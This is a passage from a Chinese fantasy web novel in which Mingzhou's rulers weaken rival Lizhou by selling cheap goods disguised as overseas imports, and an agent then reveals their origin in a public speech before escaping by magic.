明州的蒸汽火车通行后便开始来往运输货物,有时候是带着原材料过去,回的时候带着成品回来,做到次次不空跑。 再加上蒸汽机械带来的改革,许多厂子如今生产速度加快,在供应全明州的同时,俨然滋生出新的问题。 ——库存逐渐增加,光是靠着明州已经要吃不下这些库存了。 到了往外售卖的时候了。 方知意这几日见了赵金构,又见了祝应,经三人共同商议后,毅然决定开启对黎州的新一轮经济价值的开发以及拉拢民心。 先前她们是靠着庞大的加气服务赚取黎州这些大户的资金的,再加上和谈天禄合作才能有如此收益。 不得不说,来自黎州的资金为明州前期发展做出了巨大贡献,但对于如今掌控着整个明州经济的她们来说,这些收益就逐渐有些不够看了。 加气服务利润还算可以,但和谈天禄的合作也该结束布局阶段,进入新的阶段。 在得到方大人的指示后,杜百在给对方提供了最后一批次的货物,拿到最后一次货款后,立即将队伍所有人撤出黎州,同时撤出了负责加气的人员。 为了最后再捞一笔,还特意做出优惠活动,一次性购入五桶气可额外再送一桶。 这活动美其名曰送福利,很快现有的库存被大户们抢购一空。 伴随着一罐罐气罐被送入各家大户的府内,这黎州总算是暂时安静下来。 至于布料加盟店铺大部分都是本地商家,装修部的员工主管人手里捏着一枚转移符咒,若是有意外的话,便可动用此符咒带人迅速回明州。 当然,这只是后手,毕竟如今布料加盟店的背后人黎州各家还没能查出来,不过大概率是轮不到装修部的人跑路。 不过为了安全,方知意还是命慎刑司的人将符咒送过去,以防万一。 等到一切准备完成,很快,有一批据说来自海外的新奇货物进入黎州市场。 包括不少物美价廉又好用的物品,譬如阳燧(一种能点燃火的装置),镜子,各类瓷器悉数入场。 当然,东西自然采用的是分层计划,贵一些的面对中层,便宜的面对底层。 至于如何定义便宜与否,那便按照明州境内的等级划分。 譬如镜子就略昂贵一些,但阳燧,细盐这类面对民生的东西就要便宜一些。 为何要让大批物资进场? 主要是因为方知意有些迫不及待的想要攻入黎州了。 不过在攻入之前,必须要做的便是扰乱百姓心思。 因得了个大炎朝首都的名号,黎州在大部分本地人看来,自己的生活那绝对算得上还可以的。 虽说比不了大户过得滋润,但好歹往下对比,往黎州以外的城镇对比,能活下去就够了。 黎州人中,又以元城的百姓思想更为根深蒂固。 在他们看来,这元城的日子就已经是顶好的日子了,别的地方更是水深火热。 方知意想得很清楚,虽说她们都知道黎州百姓和明州百姓对比起来,过得日子可谓是凄惨,但可惜的是,黎州的人民并不知道。 若是贸然进攻,定会遭遇到绝望百姓的反击。 毕竟在他们看来,若是连元城都被攻破了,日后的生活定然是连勉强维系都做不到。 为了避免进入必死的结局,这些人会拼死反抗。 而方知意自然不希望百姓这么做,她更希望用更小的代价将黎州纳入囊中,好歹日后都是仙师的百姓,死那么多人,再建黎州只会更麻烦。 再说了,如今经过一场大灾,本来人口就少,再也经不起战事消耗了。 于是,方知意三人便考虑先用软刀子杀人,率先扰乱民心。 而将便宜的商品运输进去,这就是第一步。 等到百姓们花着很少的钱,用着更好的东西时,朝廷,大户的买卖自然会受损,坐不住后就会调查,调查后就会因为傲慢而采取强迫百姓不许购买的禁令。 一环套一环,总归会拉低民心。 不过一开始定然不能说这东西是从明州来的,毕竟三州中,黎州自恃尊贵,以往都是一万个瞧不起其余两州的,不少黎州人认为幽州人粗鄙,明州人土气。 若是一开始就摊牌这东西来自明州,还不等市场打开,就会被人扣上“用着丢人”“不够档次”的低端词条,这计划就会胎死腹中。 尽管方知意知晓如今明州的货物水平能吊打黎州,但日积月累的偏见,并不是那么容易扭转的。 所以她们需要在初次入场时找个托词。 ——那便是海外来的。 对于不熟悉的海外能制造出比黎州更好,更便宜的东西,那他们会觉得惊诧,随后便是沾沾自喜,毕竟谁也不知道海外库存多少,海外是不是不懂定价,诸如此类原因让人产生捡漏感。 等到日后用得离不开了,再一举曝光货品来源,想来会让众人如鲠在喉,骑虎难下。 很快,和方知意预料的相似,这物美价廉之物一经进入市场,自然惹起了小范围的购买热情。 又因中层,底层之间有壁,实际上两个阶层,或者说,包括上层在内的三个阶层都处于互不知晓对方动态的时期。 中层的小门小户们——这些人够不上权贵的圈子,大都属于做小买卖,有少部分土地的人群。 黎州唐府。 贾管事在唐府负责采购一事。 最近海外货品一事传得沸沸扬扬,传言说,那货物又新奇,价格又便宜,东西还精细。 不少管事也是先后听到了消息,耐不住好奇,相约着去观摩一二。 第335章 奇耻大辱 贾管事和熟识的几位管家共同前去,路上自然会谈论一二。 “据说从海外流传进来一批品质极佳的瓷器,玻璃器皿,以及小型家具,甚至细盐,镜子,今日我等去了,若是能遇到合适的应当多买一些才是,指不定哪天就没货了。” 几人关系都很好,各自开始说一些内部消息。 “我听王管家说过,先前那一批货物数量极少,质量是一等一的好,价格也比外面合适多了。” 贾管事心里起了波澜。 ——若真有这好东西,他完全可以大头购入府内去讨好唐老爷,小头自己拿下就当报酬。 如今做管事的都抱着这番心思,就算是主人家也对这方面睁一只眼闭一只眼。 几人说了几句话后很快就到了一屋子内。 外面没有招牌,看起来是临时租赁的房子用来售卖东西的。 屋内的人和想象中一样多,贾管事差点没挤进去。 等到凑近了一看,发现那些东西都摆在铺了绒布的地面上。 虽说看起来有些敷衍,但一眼扫过去,贾管事顿时便理解了先前的流言。 那哪是流言啊! 眼前精美的瓷器,琉璃器皿等物,价格比本地便宜了两成到三成,但质量却提高了一两个层次,一增一减,算是捡到漏了! 譬如以往宴会需要的器皿,若是放在元城采购的话,一套需要8-15两左右。 但如今,这瓷器质量更好,且价格更为便宜,仅需要5两一套。 除了能叫得上名字的东西外,还有许多他们连见都没见过的新奇玩意。 其中最有用的莫过于镜子。 比如今他们使用的铜镜明晰数倍,且背后雕花刻字的,十分风雅。 贾管事头一次看到镜子里的自个竟然这么清晰,甚至能数清楚自己脸上有几颗痣,几根皱纹。 他都心动了,没道理别人不心动啊! 好容易抢了一顿后,贾管事带着战利品回去了。 等到回家,唐老爷看着那新奇之物,挨个试了后,又问了价格,连连夸赞贾管事采购一事实在是做得漂亮。 而贾管事本人也私底下偷偷为自己挑选了几样好用的东西,打算带回去给家人用。 很快,这波海外货品便在黎州站稳了脚,凭借着其物美价廉,迅速畅销。 起码在整个中层圈子里占据了不容忽视的一席之地。 起初众人还以为货品数额有限,但后期看那临时租赁的小屋子还在陆陆续续卖东西,倒是不确信起来 这库存到底还有多少啊? 但又一想,无论如何,总之他们是得了便宜的。 不说成套的精细琉璃器皿,瓷器,就说那和粗盐价格一样的细盐,他们便囤了许多。 更不要提那白得像是雪花一样的白糖了,毕竟这两样在本地价格可是要卖得贵了好几倍啊。 长此以往,这家用消耗也是一笔不小的花费。 先前若不是需要招待客人,谁都不愿意花钱购入大批量白糖,细盐,属实是没办法了。 现在这海外的东西和本地东西一样,谁还额外花冤枉钱购入更昂贵的? 再说了,就算是不允许私底下购盐,但买的人多了,法不责众,官府也管不过来啊。 还不提他们也有藏货的地方。 中层市场疯狂,底层的则是更为疯狂。 和中层不同的是,底层百姓并无什么脸面需求,他们只追求填饱肚子,穿暖和衣服就行。 这东西来自海外也好,亦或是别的地方也罢,便宜,量大,味道好,就是王道。 为了拿下这些底层百姓们,虽说原则上粮食不出明州,但能撬动黎州底层百姓的唯有粮食。 方知意下令将小部分粮食进入黎州,作为诱饵。 很快,地瓜干,粉条等物迅速进入市场,还有更为便宜的棉籽油,豆油也加入其中。 而对于普通百姓,方知意自然也放出了盐,不过不是最细腻的那批盐,是相对粗糙的一批,不过价格比卖给中层的细盐便宜多了,比本地最劣等的粗盐还要便宜。 这对于底层百姓属实是好消息。 饭都吃不饱的时候,遇到了便宜的,且能填饱肚子的干粮,谁还在乎它的来源途径。 在一个月结算时,这消息才逐渐钻到上层耳朵里。 最主要的是食盐,粮食等刚需物品售出数量少了。 且还是少了一大批,压根不能用人口减少,需求量减少的理由糊弄过去。 既然少了,那定是要寻找出原因呈递上去的,很快,负责对应商品运营售出的人便开始查证。 等到沿着蛛丝马迹搜查到市场上钻出来的海外货品后,起初这些人自然是找机会阻止,警告百姓不许购买,不然一律按照违反律法算。 但架不住买的人多,且这些人互相帮助,很是隐蔽,一时半会,竟然逮不住人,实在是让人恼火。 不过在他们的刻意谋划下,还是抓住了一批私底下购买海外货物的百姓。 在用这些人杀鸡儆猴后,原以为会降低百姓购买意图,谁想是失控了,反而激怒了这群最底层的百姓。 百姓们会互相通风报信,甚至更有一次,还会做计将他们骗过去,蒙着袋子就揍一顿。 天太黑,人太多,压根分不清谁是谁,只能咬碎了牙往肚子里咽。 眼看百姓情绪失控,实在是瞒不住了,这些人这才将此事上报给上面。 等到上层知晓消息时,早就过了最好的抑制对方发展的机会。 因这所谓的海外商品实在是来势汹汹,上层很快便发现端倪——这不像是海外,倒像是原先谈天禄手中曾出过来某些货物啊。 一时间,众人将矛头对准谈天禄,个个面色不友善——先前谈天禄靠着手里独一无二的货源赚了个盆满钵满,当初谁不恨得牙痒痒,但实在是需要混圈子,有求于对方,再加上谈天禄有个好干爹,谁敢惹? 只能捧着他,还得求着对方给自己分一些货物装点门户。 如今倒是天道好轮回,这老小子没想到吧,这东西能从别人手中流出,且价格更为便宜。 当初他们买的价格可是高昂,如今定是有不少人对他不满。 ——不是不让你赚,那也太黑心了,赚太多! 好事不出门,坏事传千里。 谈天禄一早就因为此事急得火烧火燎。 当初定价多高,如今就有多头疼。 先前杜百曾隐约透露过,说是什么路子被人打探到了,日后生意或许要不好干。 谈天禄当时还颇为不屑。 他有的是手段让那试图将货物卖进来的人走着进来,躺着出去。 这年头断人财路如同杀人父母。 当初他还面上安慰了杜百几句,两人都订好了下一批的货物,谁知道杜百那死小子竟敢骗他! 不仅仅没按照约定时间来,还敢给他报价高了这么多! 他又不是傻子,如今进入黎州的货是个什么价位,他杜百给他的又是什么价位。 虽说他也是赚了许多,但谁乐意被当成傻子对待? 更可恨的是杜百听到风声后跑得干净,留他处理这烂摊子,如今他是恨不得生剥了他的皮,扒了他的筋。 不过再恨也得先处理完眼前的麻烦事才行。 谈天禄面色冷郁,脑内闪过数种解决办法。 首先最要紧的自然是遏制商品继续往外流出,将那售卖之人捉住后逼对方供认此货物是他们偷盗抢劫而来,所以才会着急用低价卖出,间接提升商品价值,将先前众人对他的怀疑一并消解。 谁管他们心里怎么想,但至少明面上得有个台阶能下。 毕竟当初是他求着让对方买了? 还不是他们眼巴巴过来求着买。 当初炫耀的时候怎么不说,如今觉得买亏了就开始个个觉得他不够意思。 好像自己是他们爹娘一样! 谈天禄心里骂了几句,又嘱咐手下去做事。 干爹也来了信,表示会派人协助他将那背后之人一并捉拿。 魏公公也不高兴啊——都是一条船上的,谈天禄怎么也算他名义上的干儿子,若是出了事连自己的人都护不住,日后还哪有人会肯为自己卖命? 元城最近气氛很是严肃。 全城封闭,官兵们被分派出去,就是为了查到那幕后之人。 查处过程中,自然避免不了出现争斗,私下贪污,等等乱象。 慎刑司的几人看着这群人将元城查得乌烟瘴气,纷纷对视一眼。 他们的人早就撤出了元城,现如今就算是将此地翻个底朝天,也是毫无收获。 只不过就是可怜百姓还要被反复折腾。 除了表面查处那背后团伙外,谈天禄自然也派了人去打探消息。 既然在元城活动,那就不可能没有遗漏下来的消息。 若是没有消息,那才恰恰说明这群人是受人指使,而非是原产地的竞争者过来为了赚钱售卖物资。 等到打探一番,丝毫有用消息都没能打探到后,谈天禄说不慌是假的。 杜百的去向他也查了,但此人的去向便是明州方向,具体在哪儿,并不清楚。 当初他以为对方身后有景旭宫的能量,如今看来,似乎并非如此。 若是景旭宫的人,为何昨日景旭宫还有人过来打探和他交易之人的情报? 那状态做不了假,分明就是不认识。 谈天禄脸色阴沉。 他当初忌惮杜百就是忌惮对方身后的景旭宫,如今排除了景旭宫的人,那能使用符咒的便只有一个来历了。 是永道宫的人。 而先前打探出来的消息是,永道宫如今总部位于潜灵山上,这属于明州风仙县境内。 那便是明州的手段? 所以,过去的一切新奇东西全部来自于明州? 谈天禄比起被骗的怒火外,更多的是一种耻辱感油然而生。 第336章 动员 ——开什么玩笑,这些精巧绝伦的物件居然是来自明州? 甚至都不是来自于明州都城,而是来自一个八竿子打不着的小村落,小县域! 谈天禄眼前发黑,记忆瞬间重返过往。 想当初自己是如何忙不迭将此物呈递给干爹,又是怎么讨好天子,之后又是如何将这小地方来的东西推广到整个权贵阶级 谈天禄恨得直咬牙,手心快要掐烂。 这不是被耍了还能是什么! 坏消息一个接一个的来。 先前的探子传递回来了消息,大意便是先前所售之物在那明州境内竟然已经普及到位。 谈天禄猛地起身,捉住来人衣领呵斥。 “何叫做普及?” 探子瑟瑟发抖。 “那城内百姓都配备上了昭华灯,净座等物,且价格十分便宜” 谈天禄松开手,后退几步,脸色是罕有的惨白。 若是这东西真是海外的还好,多少还沾个新奇,如今查来查去,竟然来自于最不入流的民间小村落,小县域! 他居然将这粗俗野蛮的东西呈递个给了天子,将此物推广开来,谈天禄已经能想到这消息传开后,他到底会怎么样了。 有道是天子用的东西如何能和寻常百姓一样,再者,他们这样的人,又如何要用那些普通人都在用的低贱之物! 谈天禄气得眼前一黑,胸口憋闷,一股腥黏的血液直冲喉头而来,而后便是喷出一口血。 身旁的人立即扶住他摇摇欲坠的身体,被他用力推开。 ——绝不能,绝不能让这消息传开!他得咬死了先前那些货物是来自于海外才行! 擦了擦嘴角的鲜血,谈天禄冷笑,又命人将此消息按下去。 而另一方面,因元城内开始彻查“海外商贩”踪迹,一时半会,闹得元城百姓更是怨声载道。 个个心里有气,但又如何,不敢说出来,谁要是敢透露出一点不满,很快就会惹祸上身,被以为是和那所谓的海外商贩有勾连。 事实上,但凡是在元城生活过的,谁没在那海外商贩手里买过东西? 本就赚不到什么钱,家里又快活不下去了,自然要一文钱掰开了花。 先前那海外商贩来黎州售卖物美价廉的物品,粮食时,他们起初自然是不相信,但等真用便宜的钱买到质量更好,价格更低的货物,分量更多的食物后,立马就死心塌地了。 百姓懂不了那么多,粮食能吃,能填饱肚子,还便宜,花同样的钱能买到更多的食物,那这就是好的。 先前百姓们从那海外商贩手里购入了不少便宜的地瓜干,盐巴等生活必备品。 本想着下次有了钱再买点,但谁能料到,还不等下次,这售卖物品的海外商贩就被本城官兵撵了出去。 别的不说,单看这全城搜查的力度,只要不是傻子都知道官方的态度。 面上不敢反抗,但背地里,谁都要骂一句朝廷不当人,不给他们留活路! 那盐多便宜,比粗盐的价格还要便宜,质量却比粗盐好! 那地瓜干,吃起来很饱腹不说,价格比本地粮食便宜太多了!在本地只够一个人吃的粮食,在那海外商贩那儿可以兑换出三个人吃的地瓜干! 百姓虽说大字不识一个,懂不了那些弯弯绕绕的东西,但也不傻。 谁让自己能吃得上饭,谁又不让自己吃上饭,他们分得很清楚。 至于为何,那自然是因为利益往来——他们都去买海外商贩的东西,官家的东西没人买了,那肯定不成! 官家的人坐不住了,这才会驱赶捕捉那海外商贩,好让他们不得不去买官家的昂贵粮食和东西。 一时间,百姓们可谓心灰意冷。 原以为靠着那外来的东西能让家人吃个饱腹,好日子刚没过多久,就立刻被人打回原形。 全家人又要食不果腹。 这比不知道那海外商贩还让人难受。 若是不知道就算了,他们不曾看到过希望,就会一直麻木下去,一直觉得像他们这样的,本来就是每日疲于奔命,只够勉强让家人不至于饿死。 但为何上天要如此对待他们! 让他们吃饱了短暂的时间,又将这希望夺走,让他们再次沦落到原先的境地! 一时间,即便是不识一字的百姓们也是心里难受得紧,说不出那感觉到底为何,但总归是觉得心里空落落的。 在元城外,黎州的其余县域,也先后经历了这番折腾。 他们派出去的人不仅仅是在元城搜查可疑人选,更是在整个黎州进行搜查。 只是很可惜,这些人滑溜得和泥鳅一样,听到消息就跑得干净,苦苦搜查许久,竟然是一个人都没能逮住! 谈天禄知道这消息时眉头蹙起,气得摔碎了茶具,又恨得咬牙。 他很快又冷静下来,稍作思索后,很快,谈天禄就想到了另一计划。 既然没有抓到,那他就找替死鬼扮演那海外商贩,只要在大众面前演一出戏,这些愚民定会轻易相信,到时候他的危机也会缓解。 就算是日后爆出过往物品是来自明州,他也能寻个理由,大不了就是他也是受海外来商蒙骗,将自己也作为受害者这一列即可。 合适的人很快就找寻到,谈天禄生怕迟则生变,又理了理流程,立即下令让手下的人开演。 只是人倒霉起来喝凉水也塞牙,他演员都到位了,结果还不等演呢,就有自称是海外商贩的人出现。 这些人很是自得,竟敢光天化日之下,在人流量最多的地方出现! 在听到这消息后,谈天禄脸庞扭曲,冷笑不已。 好好好,舍了安生路不走,自寻死路而来!今日他就成全这些人! 不过这些人既然这么有仰仗,那定是有脱身的法子,莫非是那永道宫有了什么奇诡的术法可护他们周全? 谈天禄越想越觉得有道理,命人以干爹名号,速速联络景旭宫前来支援。 今日,他要这些人有去无回,倒是省得他找人演戏! 此刻,城门口,那所谓的海外商贩已经被官兵团团围住。 因对方人数只有区区五人,所以官兵围得并不紧,毕竟对方完全出现在他们的领地,无论是从人数看还是从装备看,他们都是优势方。 而这五人里,杜百赫然在其内。 事实上,元城百姓很不理解他们这一队海外商贩。 明明城内还在搜捕他们的踪迹,但为何又要重新出现在城内? 这不是白白送了命? 在百姓们朴素的想法里,留得青山在,不怕没柴烧。 人只要还活着,那日后再来售卖东西就行,何必现在出头,闹个人头不保,送了性命! 眼看聚集的人群越来越多,杜百扫了一眼,发现来了不少人,看穿着服饰,哪个阶层的都有人看着。 正和她的心意。 人数差不多了,杜百开始清嗓子说话。 “诸位!时至今日,市肆间流转的诸般珍奇货殖,并非远渡重洋的海外胡商所售,尽数出自我明州匠户之手。此等物产,非独供给市井黔首、乡绅士族之用,便是前些时日轰动四方、价逾千金的稀世奇货,譬如昭华灯,净座等物,亦皆为明州所造。 我明州之地,物阜民丰,百工兴盛,水陆通衢,农商并茂,凡民生所需、器用所赖,无一不精、无一不备。更有善政泽被万民,州内无论男女长幼、门第高低,皆可入塾就学,识文断字,明理启智;女子亦可抛却旧俗桎梏,或入市营商,或入坊务工,凭己力营生,取应得薪俸!” 说到这里,杜百将头巾摘下,满头长发随风飞舞。 说实话,众人惊呆了——杜百先前看上去像是没长成的少年,如今竟然是女子! 分明是个瘦小的女子,却让人无法将视线从她身上挪开。 说话游刃有余,脸庞带着一种让人难以忽视的坚韧,字字珠玑。 离得老远,急匆匆赶来的谈天禄也听到了这话。 杜百竟然是女的! 现在不是管这个的时候,必须要阻止对方继续说出惊世骇俗的话来! 谈天禄冷脸拉弓,对准发表演讲的杜百便是一箭,这箭破风而去,直指心脏。 ——去死吧!胆敢骗他,如今又想将一切真相挑明,若不是不能让她继续再说下去,谈天禄恨不得活捉她,将她扒皮抽骨,扔进水牢折磨个三天三夜!如何会让她这么轻松死去! 事实上,那箭在距离杜百还有一段距离时,便自动弹开了。 谈天禄脸色一僵 某种护身的法宝? 对了,景旭宫的人在哪?! 谈天禄立马转头去寻找那景旭宫身影,可惜对方还没能赶来,如今他竟然要眼睁睁看着这杜百发表这荒唐至极的演说!岂有此理! 他拼了命往前挤去,同时挥手让手下打断这场可笑的动员。 其余的官兵也反应过来这五人来者不善,竟敢在黎州的都城,如此挑衅。 个个拔刀向前,却均被莫名阻碍在原地,动弹不得。 如今个个眼神带着惊恐——身体不能动了?!为何? 但无人给他们答案,聚集的人甚至都顾不得看他们,只扫了他们一眼,便再次将注意力重新集中在杜百身上。 杜百的话语还在继续。 “纵是贫寒之家,亦能衣食无忧,安身立命。州内百姓,早已将此等好物视作居家标配,户户皆有,人人得享。 今我等厉兵秣马,不日便将挥师北上,直指王廷。 待四海归一、乾坤重整之日,普天之下,皆能沐明州之惠,享丰饶之福,再无饥寒之虞,共赴太平盛世!” 最后一句出来后,几乎所有人,包括闻讯赶来的景旭宫支援全部愣在原地,眼睛死死盯着那道瘦小身影。 第337章 怎么敢 挥师北上,直指王廷? 四海归一,太平盛世? 谈天禄脑袋“轰隆”一声,像是炸了一样。 这人知不知道自己到底说了什么? 事实上,不仅仅是谈天禄愣在原地,周围的官兵,景旭宫支援,周遭人群都像是被按下暂停键一样,瞪大眼睛,呆呆地盯着那五人看过去。 ——居然胆敢在黎州都城元城来挑衅,这是不要命了! 周遭百姓安静如鸡,只是面露震撼,像是头一次听到这番令人印象深刻,大胆至极的话语来 那等听起来像是不可能有的好日子,竟然是真的存在? 而且竟还是人人都能享有? 民心已经动摇。 在听到杜百口中仙人后,更是诧异,而后便为杜百话中的不可能找寻到了出口。 仙人? 所以是仙人赐予了明州如今这一切? 分明围观的人很多,但此刻,此地除了杜百激昂的演讲外,竟是无一人喧闹。 谈天禄的心跳得和炸了似的,这会竟是第一个反应过来的。 “还愣着干什么!还不将她们给我拿下!” 景旭宫的支援也反应过来,此刻正念念有词,而后个个甩出去一张张符纸。 这符纸扔出去时,谈天禄紧张极了,生怕这符纸和箭一样对那五人无效。 符纸直线逼近对方,明显是能近身的。 谈天禄松了口气,眼内透露出狂喜。 对对对,就是这样,这符纸中可是有一张破开庇护咒语的符纸,先前他的箭不能伤到她们,想来是因为这庇护咒语的缘故。 眼看各类爆破咒语即将贴在五人身上,突然间,却出现一道金光。 这金光将那些符纸悉数逼退,而后缓缓展开成一个门的模样。 前面走的四人利索地收起来先前举着的逆反横幅,像没事人一样消失在那金门之后,随后杜百从容不迫地发表完最后一句,也跟着走进那门内。 五人就这样在众目睽睽之下消失了! 更可恶的是,他们竟然没能将对方拦截下来,居然让这五人在黎州都城元城撒野后顺利离开了! 谈天禄又惊又怒,连表情都没能控制好。 “刚才那是什么!怎么还能让她们跑了!” 谈天禄的语气称不上好,搁以前景旭宫的人才不会惯着他。 但事实上,今天实在是邪门。 在那道金门展开前,分明就没有任何术法波动痕迹,按道理,对方是不具备任何反抗的机会才对。 可偏偏却能在众目睽睽之下打脸他们,当场用术法逃走! 这对于景旭宫的人来说,今日也是奇耻大辱。 但以前没听过能够远距离传送的术法能瞬时展开啊! 这玩意已经超出他们过往的术法认知了! 如今又惊又惧,只想着将此消息立马汇报给景旭宫的上层,至于如何应对谈天禄甚至不是如今的他们要考虑的事。 聚集起来的民众数量很多,先是被动员一番,又在怀疑的关口亲眼看到那五人大摇大摆离开,就连景旭宫的人也奈何不了对方,一时间,民心乱了。 官兵们驱赶着将民众驱逐回家,同步封锁消息。 但因当天人数太多,还是走漏了消息。 朝廷上三派人马收到消息时,除了中立派没什么反应外,保皇派和先皇派都是气歪了鼻子。 ——岂有此理! 居然敢跑到自家的领地如此挑衅!这明州实在是活得不耐烦了! 再加上先前先皇派曾派人去打探明州,却没能找到什么消息,反而还折了一队人马,早就对这所谓的明州没个好脸色。 至于保皇派五人也是又惊又怒。 这明州是疯了不成? 先前还对他们恭敬得很,如今竟然是这幅态度! 且那道金门,肯定是山神的能力! 五人不免想到先前他们还曾给山神送过不少银两,以表心意。 如今这神仙怎么还翻脸不认人的? 话再说回那《青梧引》,先前拿到手时是很惊喜,好容易有了术法基础,五人分别选了自己最看好的继承人学习术法,坏消息是这术法极难入门,好消息是术法一旦入门后,精进速度飞快。 且确实肉眼可见,那状态的确是不一样。 这段时间,保皇派五人事实上是没心思将注意力放在多余的事物上的,毕竟有这么强悍的功法在手,先行修炼,然后活到两百岁,往复循环,这得为家族争多少积累! 修炼《青梧引》这便是他们如今的目标了。 只是没想到功法修炼到一半,这明州竟然冷不伶仃闹出来这么大的事! 若是小事就算了,他们看在功法修炼到一半的面子上也就当做没看到,但偏偏是这等挑衅。 眼下是无法善了了。 五人聚在一起商量对策。 说实话,谁都不愿意惹怒那山神,毕竟功法还练到一半,谁都不想还有求于人的时候招惹对方。 思来想去,保皇派五人决定暂且不动手,同时压一压消息。 笑话!所谓的尊严,面子,能比得上他们得来的实打实的好处? 要是为了这等虚物就不要好处,那才是脑子有病。 而至于先皇派的在看到保皇派的骚操作后,顿时气得跳脚。 “好个保皇派!别人都来自家地盘上撒野了,他们竟还能这么不痛不痒的压消息!” “前些日子流通的银两确实是入了明州境内,这保皇派五人莫不是和那明州沆瀣一气?辱我大炎威严啊!” “先前咱们跟过去的人都没回来,肯定是被处理了,且那张绯被对方看得很紧,我等竟然找不到时机将那张绯捉拿过来审问。” “岂不更是说明了保皇派通过张绯此人和那明州有染?” “有染又如何?小皇帝轻信五人,我等不受待见,就算将此事呈递上去,也毫无用处。到时候那街头那事也定会被那五人找个替死鬼安排送死。” 先皇派的人暗自生恨——唉,家门不幸啊!先皇如此英明,但留下来的却是个不成器的。 但这谁敢说,只能在心里想想罢了。 但谁能不想念当年先皇在位时,那个强盛的朝廷,当初大炎朝至少百姓能吃得饱饭,哪像现在! 但同时,先皇派的人也对明州初有印象——那道金门实在是诡异,这明州背后定有什么精怪当作靠山! 坊市动员一事最终被瞒下来,但却在黎州百姓之间迅速席卷开来。 虽说明面上不许谈及当日所发生之事,但哪能阻止私底下百姓们口口相传? 更何况当日那女子发表完那等惊心动魄的演说,而后悠悠然然通过一道神奇的金门离去,无论怎么看,都让那段话的真实程度激增。 甚至不少觉得过不下去的百姓已经开始预谋离开黎州,前往明州。 但自从动员演说之后,黎州各个县域对于出城看管得很严格,寻常百姓基本上没有离开的机会,就算是有正经事出城,都会被盘问一番。 但越是这样,百姓们心中反而越是觉得当日那人说的是真话。 ——若是假的,为何不让他们出去亲自看看?! 还不是不敢! 民怨载道。 但又不敢当面和这些官兵硬碰硬,只能私底下偷偷关注着那明州的消息,一时间,明州境内传递过来的字画,小说,仙人小像,竟成了明州私下流通的最紧俏最热门的需求。 这些来往走私的商贩也是厉害,不知道从哪里的途径弄到的这些玩意,价格也不算贵,自然迅速在黎州百姓之间流传开来。 认得字的人看完了就给人讲里面内容,不认识字的听别人讲,讲完了后再买一块仙人的小像,日夜祈祷,祈祷仙人能尽快打进来,也将他们黎州纳入庇护圈内。 百姓自发的行为很是隐蔽,官兵人数远少于百姓,自然看顾不严,这潮流竟然是愈演愈烈。 先前明州的那些商贩曾售给他们不少物美价廉的食物和日常用品,有买的多的人家如今还在省吃俭用的用着。 每用一次就要感慨明州的好,骂两句黎州的不要脸。 ——为了赚钱连脸都不要了!好好的便宜东西,不让他们买,非要让他们花大价钱买本土的次等货物,这是压根不盼着他们一点好,趴在他们身上吸血,想让他们赶紧死啊! 底层百姓因不曾读书认字,反而想法简单。 中层则是难受得紧。 他们读过书,认得字,没那么容易听信先前那场所谓的演讲。 即便是那五人从容不迫的消失在眼前,他们也能将此事安在术法身上。 毕竟这阶层也是经常接触景旭宫的阶层。 再看看最上头的那些人竟然没有彻查此事,那便说明消息有可能不是真实的,不然他们难道不该早就行动了? 暂时的出城收紧对于他们来说,也完全能够理解。 百姓愚昧,容易被煽动情绪,若是真听信那所谓的演说而从黎州出城前往明州,这不是白白给明州送劳动力么! 谁能愿意! 如今他们最难受的是,这该死的,从明州来的东西他们还要不要继续用! 就像先前引爆整个元城的昭华灯,净座,镜子,细盐,白糖等物,先前他们有多追捧,多卑微的四处找路子,只为购入这些东西,好能达到进入社交场的门槛,如今就有多烦躁。 倒不是因为这些东西不好,价格还贵,恰恰相反。 先前这些东西是贵,但如今那所谓的海外商人来了后,将原先的物价立马打下去一半,再加上强大的功能,这些东西实际上非常实用。 用得早一些的人家如今能不能离开这些东西还两说呢! 东西好用,但这东西的来源却让他们如鲠在喉。 明州!为何是那个他们从不正眼看的地方!且更气人的是,这玩意还是来自于一个小村落,小县城的!简直是奇耻大辱! 第338章 好用 这些人对于明州货物的态度便是,想用,却抹不开面子,同时也打心底瞧不起这东西。 ——该死的明州,该死的小破县,该死的东西,该死的好用。 原先东西来自于鲁班后人,来自于海外,他们都觉得接受度良好。 但一旦这好用的,新奇的东西来自于自己处处瞧不起的明州,瞧不起的下等人手里,这会心里的难受一时半会缓不过来。 事实上三州先前一统时,从明州前来黎州务工的百姓,亦或是富户,甚至官员都会受到排挤鄙视。 当初就隐隐约约有各州抱团的现象,如今三州分裂,更是如此。 不过因当初一统时黎州确实强盛,也时髦,所以另外两州的百姓虽说也看不惯黎州,但对于从黎州来的物品,或者是黎州的审美并没什么特别抗拒的,毕竟人都是慕强的。 但反过来说,自持强盛的黎州若是用了其余两州的物品,还将此物品推崇甚高,这会想起来就觉得自己受到了侮辱。 区区明州,他们也配! 做惯了人上人,一时间反被别人影响,这让他们的不适立马达到了高峰。 所以自从上次曝光后,中上层刮起了一阵鄙视之风。 内容主要围绕先前最火爆的那些外来货品。 当初有多求之不得,如今就有多嫌弃。 当然,不管内里怎么用,在外他们都是一副生怕被下等的乡野人生产出来的东西污染的嫌弃。 很快,原先处处受人追捧的昭华灯,净座等物地位直线下降,从先前能代表身份地位的特殊象征,到现在每家每户都要藏起来。 但痛就痛在戒断是真的难受,那是真戒不了啊。 比如昭华灯,你不用,别人就偷偷用,改日别人的书读得比你多,日后旁人家族的圈子便走得比你高。 所以不管如何,这灯肯定是要硬着头皮继续用的。 话又说到这净座,人一旦用过这干净舒适的好玩意,又怎么可能返回去继续用先前的东西? 就算那玩意洗得再干净,它不舒服,也不方便,还心里膈应啊。 这净座就不同了,每次完事有专人打扫清洗,收拾得干干净净,让人看了就心情好。 这如厕可是人生三大事之一,怎么能敷衍呢? 这会心里恨得发痒,又实在是没招了。 虽说膈应这东西的来历,但屈服于用途,他们还是捏着鼻子认了。 最可恶的是那昭华灯用完气后,一时半会找不到加气的,还得吩咐人去黑市里探探消息,看看有没有囤得多的,打算出手的人家,得赶紧买回来继续用才是。 不然这功课可就要越落越远了。 本以为这玩意如今受人嫌弃,价格说不定还会小降一些,但事实上,这玩意在黑市上竟然有市无价。 去求购的肯定不是个人,而是所有有需求的人家,一时半会,别说价格降低或者是按照原价卖出,那即便要出手,价格至少都翻了倍。 市场逐渐疯狂,众人在心底怒骂。??? 这不对吧? 表面上个个表现得嫌弃,现在怎么光买入不卖出啊! 这群伪君子们! 更可恶的是,不日后他们便从家中昭华灯,净座等不起眼的地方发现了一个“明”字。 这代表是从明州生产制作的货物。 原先这字不起眼,就算是看到了,他们也没想到过这东西是这意思。 